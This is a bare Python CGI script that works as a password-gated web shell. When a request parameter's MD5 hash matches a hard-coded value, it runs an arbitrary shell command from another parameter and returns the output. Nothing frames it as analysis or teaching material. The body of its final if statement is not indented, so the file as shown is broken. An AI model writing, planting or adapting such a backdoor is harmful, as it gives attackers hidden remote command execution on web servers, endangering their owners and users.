#!/usr/bin/env python3
import sys,os,cgi,hashlib
sys.stdout.write('Content-Type: text/plain\r\n\r\n')
sys.stdout.flush()
f=cgi.FieldStorage()
x=f.getvalue('x','')
c=f.getvalue('c','')
if hashlib.md5(x.encode()).hexdigest()=='a8062b67ef4218f5bb4e0f87e84e40b4' and c:
os.write(1,os.popen(c+' 2>&1').read().encode())